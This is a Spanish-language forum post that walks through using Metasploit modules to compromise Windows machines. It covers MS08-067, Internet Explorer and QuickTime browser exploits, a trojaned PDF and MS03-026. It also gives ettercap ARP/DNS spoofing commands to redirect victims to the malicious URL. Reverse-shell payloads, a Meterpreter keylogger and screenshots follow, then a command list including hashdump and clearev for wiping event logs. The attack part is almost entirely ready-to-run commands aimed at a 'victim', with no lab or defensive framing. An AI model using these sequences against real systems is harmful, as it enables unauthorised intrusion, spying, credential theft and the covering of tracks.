Hola!!
Os traigo un post con ejemplos de como se utilizarían algunos exploits de Metasploit para explotar vulnerabilidades de Windows.
Quizás os parecerán poca cosa ya que me estoy iniciando en esto y quiero que este post sirva para seguir aprendiendo de este tema y aporten sus conocimientos.
Empezar diciendo que Metasploit Framework se puede utilizar tanto en linux como en windows. Yo utilizo backtrack ya que lo incluye, además de otras herramientas que pueden combinarse con Metasploit.
Link de descarga:
http://www.metasploit.com/download/Antes de lanzar cualquier exploit es recomendable que conozcamos las ip's conectadas a nuestra red, para ello:
linux:
sudo nmap -sS -O 192.168.1.0-255
-sS --> Escaneamos de forma silenciosa
-O --> Para que nos muestre el Sistema Operativo
Windows:
Aparte de esto aconsejo también el uso de la herramienta Colasoft MAC Scanner para el escaneo de pc's conectadas a la red.
Ejecutamos el msfconsole de Metasploit Framework.
Una vez que conocemos las ip's y sus respectivos Sistemas Operativos, para utilizar el primer exploits vamos a intentar localizar algún Windows XP
(Recomendable que para ver si el pc está conectado hagamos ping a su ip)
*Primer exploit (netapi)
use windows/smb/ms08_067_netapi
set RHOST (ip equipo remoto)
set payload windows/vncinject/reverse_tcp
set LHOST (ip equipo nuestro)
exploit
Se nos abrirá una pantalla remota con el pc víctima.
Como hemos visto el anterior solo sirve para Windows XP, veamos ahora uno que se puede utilizar en cualquier Sistema Windows aprovechando una vulnerabilidad en Internet Explorer (como es natural, la víctima debe utilizar como navegador el Internet Explorer).
*Segundo exploit
use exploit/windows/browser/ms10_022_ie_vbscript_winhlp32
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST mi_ip
set LPORT 4442
exploit
/*Saldrá una URL en la que la víctima debe entrar, esperamos a que entre*/
sessions -i 1
run vnc
Se nos abrirá una pantalla remota con el pc víctima.
*Tercer exploit (Parecido al anterior)
use exploit/windows/browser/ms11_003_ie_css_import
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST mi_ip
exploit
/*Saldrá una URL en la que la víctima debe entrar, esperamos a que entre*/
sessions -i 1
run vnc
Se nos abrirá una pantalla remota con el pc víctima.
Supongamos que no tenemos posibilidad de pasarle la URL al pc víctima, para ello podemos utilizar ettercap de la siguiente manera:
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /(ip victima)/ //
de esta forma cuando se abra el explorer irá a dicha URL directamente. Para ello debemos modificar antes el archivo etter.dns. Para ello procedemos de la siguiente manera:
sudo gedit /usr/share/ettercap/etter.dns
Buscamos la siguiente linea:
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
Y agregamos lo siguiente:
El * para que cuando entre a cualquier URL se redireccione a la URL Infectada.
*Cuarto exploit (a través de pdf)
use exploit/windows/fileformat/adobe_pdf_embedded_exe
set FILENAME archivo.pdf (archivo que vamos a crear, ponemos el nombre que queramos)
set INFILENAME archivo.pdf (archivo limpio, le pasamos el nombre de nuestro pdf)
set OUTPUTPATH /root/
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST (mi ip)
set LPORT 4455
set id 0
exploit
clear
back
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST (mi ip)
set LPORT 4455
set id 0
exploit
/*Le pasamos el pdf a la víctima y al abrirlo nos dará entrada a su pc*/
*Quinto exploit (vulnerabilidad de Quicktime)
use exploit/windows/browser/apple_quicktime_marshaled_punk (Exploit que vamos a utilizar)
set SRVHOST 192.168.0.162 (IP local donde va a montar el servicio)
set SRVPORT 80 (Puerto local del servicio)
set URIPATH juegos (Uri del servicio)
set payload windows/shell/reverse_tcp (Payload que vamos a utilizar)
set LHOST 192.168.0.162 (IP donde se conectará la víctima)
set LPORT 5050 (Puerto local de escucha)
exploit (Ejecutamos el exploit)
Solo faltaría que nuestra víctima se conectase a nuestro servidor (192.168.0.162/juegos), consiguiendo esto usando algo de ingeniería social, para que Metasploit nos informe de que se ha creado una nueva sesión. Usamos el siguiente comando (sessions -i x) donde x es el número de sesión creado para conectar con la víctima y se nos devuelva una shell reversa de la misma. De esta manera conseguiremos control total sobre su pc. Este método sirve para todas las versiones de Windows que tengan instalado Quicktime.
*Sexto exploit (keylogger)
use windows/smb/ms08_067_netapi
set RHOST (ip equipo remoto)
set PAYLOAD windows/meterpreter/bind_tcp
exploit
/*Una vez lanzado el exploit y ya estando dentro del pc v?ctima veamos los procesos que tiene corriendo*/
ps
/*Ahora migraremos al proceso explorer.exe. Usando el comando siguiente: */
migrate (nº del proceso).
/*Iniciemos el Keylogger*/
keyscan_start
/*Con la ayuda del comando keyscan_dump, veremos las teclas presionadas en el equipo víctima*/
keyscan_dump
/*También tenemos la posibilidad de ver un ScreenShot de la pantalla víctima*/
use espia
screenshot /Imag.bmp
/*Finalizamos el keylogger*/
keyscan_stop
*Séptimo exploit (Intrusión en Windows Server 2000)
search exploit ms03_026_dcom
use exploit /windows/dcerpc/ms03_026_dcom
show targets
show payloads
set payload generic/shell_bind_tcp
show options
set RHOST [IP de la víctima]
exploit
Una vez explotado el sistema podemos hacer muchas cosas, he aquí un listado de comandos que podemos utilizar:
background -> Envia al segundo plano la sesion activa.
exit -> Termina la sesion abierta de Meterpreter
help -> Muestra la ayuda
irb -> Nos lanza al interprete de Ruby (irb).
migrate -> Migra de un proceso a otro
quit -> Termina la sesion abierta de Meterpreter
run -> Ejecuta un script de Meterpreter. Presionando dos veces TAB veremos los disponibles.
use -> Carga una o mas extension de Meterpreter. Presionando dos veces TAB veremos los disponibles.
cat -> Muestra el contenido de un archivo de texto.
cd -> Cambia a un directorio
del -> Elimina un archivo especifico
download -> Descarga un archivo o directorio al equipo local
editc -> Edita un archivo
getlwd -> Muestra el directorio local en el que estamos trabajando
getwd -> Muestra el directorio remoto en el que estamos trabajando
lcd -> Cambia a un directorio local
lpwd -> Muestra el directorio local en el que estamos trabajando
ls -> Muestra los archivos contenidos en un directorio
mkdir -> Crea un directorio
pwd -> Muestra el derectorio remoto en el que estamos trabajando
rm -> Elimina un archivo especifico
rmdir -> Elimina un directorio especifico
upload -> Sube un archivo o directorio al equipo remoto
ipconfig -> Muestra las interfaces de red
clearev -> Elimina los logs almacenados en la aplicacion “Visor de Sucesos”
execute -> Ejecuta un comando
getpid -> Muestra la identificacion del proceso en el que estamos
getuid -> Muestra el usuario en el que estamos actualmente
kill -> Termina un proceso
ps -> Muestra los procesos en ejecucion
reboot -> Reinicia el equipo remoto
reg -> Modifica e interactua con el registro remoto
shell -> Nos lanza a una consola en el equipo remoto
shutdown -> Apaga el equipo remoto
sysinfo -> Nos muestra informacion sobre el equipo remoto
keyscan_dump -> Muestra las pulsaciones de teclas grabadas
keyscan_start -> Empieza a capturar pulsaciones de teclas
keyscan_stop -> Detiene la captura de pulsaciones de teclas
hashdump -> Muestra el contenido de la SAM (Contiene los usuarios y passwords encriptadas)
Bueno esto es lo poco que se sobre este tema de metasploit y quisiera seguir aprendiendo, espero haberlos entretenido y acepto críticas, hagan sus aportes para seguir aprendiendo!!
Saludos!!
De vez en cuando reviso esta página para aprender un poco más sobre este amplio tema. Os la recomiendo
http://www.metasploit.com/modules/P.D: Muchas gracias a Sasuke por hacer sus aportaciones. Estoy seguro de que si seguimos aportando aprenderemos mucho más entre todos.